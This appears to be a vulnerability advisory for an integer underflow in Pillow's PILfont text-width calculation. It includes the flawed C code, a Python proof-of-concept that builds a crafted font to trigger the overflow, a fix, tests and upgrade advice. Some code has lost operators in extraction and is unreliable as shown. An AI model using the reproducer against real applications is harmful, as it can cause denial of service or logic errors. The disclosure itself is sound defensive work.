CVE-2026-96641: Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise
Summary Affected Object and Source
Package: Pillow 12.3.0 Source: PyPI sdist pillow-12.3.0.tar.gz SHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce Sink: src/imaging.c:2809:15, xsize += dx
Details The code in Pillow 12.3.0 is: c for (xsize = 0; text; text++) { int dx = self->glyphs[text].dx; if (dx > 0 && xsize > INTMAX - dx) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } xsize += dx; } The PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for dx is [-32768, 32767]. The existing check only proves: dx > 0 => xsize <= INTMAX - dx It does not prove the other half of the contract: dx < 0 => xsize >= INTMIN - dx Taking dx = -32768 and repeating it 65,537 times, the mathematical sum is -2,147,516,416, which is less than INTMIN = -2,147,483,648. On the 65,537th addition, the operation -2147483648 + -32768 is performed, resulting in C signed overflow undefined behavior.
PoC python """Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.
Run with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with the PyC-Contract UBSan build to obtain the exact native diagnostic. """
from future import annotations
import struct from io import BytesIO
import PIL from PIL import Image, ImageFont
ADVANCE = -(215) CONTROLREPEAT = 65536 WITNESSREPEAT = 65537
def bitmapfont(advance: int) -> ImageFont.ImageFont: metrics = bytearray(256 20) glyphoffset = ord("A") 20 metrics[glyphoffset : glyphoffset + 2] = struct.pack(">h", advance) fontdata = b"PILfont\n;;;;;;1;\nDATA\n" + bytes(metrics) font = ImageFont.ImageFont() font.loadpilfontdata(BytesIO(fontdata), Image.new("1", (1, 1))) return font
def main() -> None: font = bitmapfont(ADVANCE) print(f"Pillow={PIL.version}") print(f"controlmath={ADVANCE CONTROLREPEAT}") print(f"controlreturn={font.getlength('A' CONTROLREPEAT)}") print(f"witnessmath={ADVANCE WITNESSREPEAT}") print(f"witnessreturn={font.getlength('A' WITNESSREPEAT)}")
if name == "main": main()
Observations from a regular 12.3.0 release build:
text Pillow=12.3.0 controlmath=-2147483648 controlreturn=0 witnessmath=-2147516416 witnessreturn=2147450880
The adjacent control uses 65,536 repetitions, producing a mathematical result of exactly INTMIN, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to 2,147,450,880.
Impact The directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.
Therefore, the current recommended severity rating is "Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model", rather than a memory corruption vulnerability.
Recommended Patch and Regression Tests
It is recommended to extend the overflow check to cover both directions: c if ((dx > 0 && xsize > INTMAX - dx) || (dx < 0 && xsize < INTMIN - dx)) { PyErrSetString(PyExcOverflowError, "Width too large"); return -1; } At a minimum, four test cases should be added: 1. dx = 32767, repeat = 65538 — upper adjacent control (should succeed); 2. dx = 32767, repeat = 65539 — should raise OverflowError; 3. dx = -32768, repeat = 65536 — lower adjacent control (should succeed); 4. dx = -32768, repeat = 65537 — should raise OverflowError.
Additionally, it should be verified that exception propagation is consistent across getlength(), getbbox(), getmask(), and the underlying font.getsize().
Other sources
Pillow is a Python imaging library. Prior to 13.0.0, PILfont text-width accumulation in src/imaging.c checks positive glyph advances against INTMAX but does not check negative advances against INTMIN. Repeating a signed 16-bit advance of -32768 can therefore execute a signed C integer overflow in xsize += dx, producing a large positive width from a negative mathematical result. Applications that use getlength(), getsize(), or derived layout, quota, serialization, or allocation calculations can experience logic-integrity errors or resource consumption, while the high-level mask path commonly retains a decompression-bomb check. This issue is fixed in version 13.0.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
bitnami/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Upgrade
Upgrade
Pillowto a version that resolves this vulnerability.Fixed in 13.0.0
Event History
Frequently Asked Questions
Which applications are realistically exposed?
Applications using Pillow versions before 13.0.0 are exposed if they call PILfont text-measurement functionality such as getlength(), getsize(), or calculations derived from those results. Risk is greatest where those measurements feed layout, quotas, serialization, or allocation decisions.
What does exploitation require?
An attacker needs to cause repeated glyph advances of -32768 during text-width accumulation. The vector is network-reachable in affected applications that process attacker-influenced text or font-related inputs, and user interaction is required according to the supplied severity vector.
Is a denial of service the only possible impact?
No. The overflow can turn a negative mathematical width into a large positive value, which can cause logic-integrity errors as well as resource consumption or denial of service. The high-level mask path commonly retains a decompression-bomb check, but that does not eliminate risks in downstream layout, quota, serialization, or allocation handling.
What should teams do if they cannot immediately upgrade?
Avoid using affected text-width results in allocation, quota, serialization, or other security-sensitive decisions when processing untrusted inputs. Where possible, restrict or validate inputs that can trigger repeated negative glyph advances and impose resource limits around downstream processing.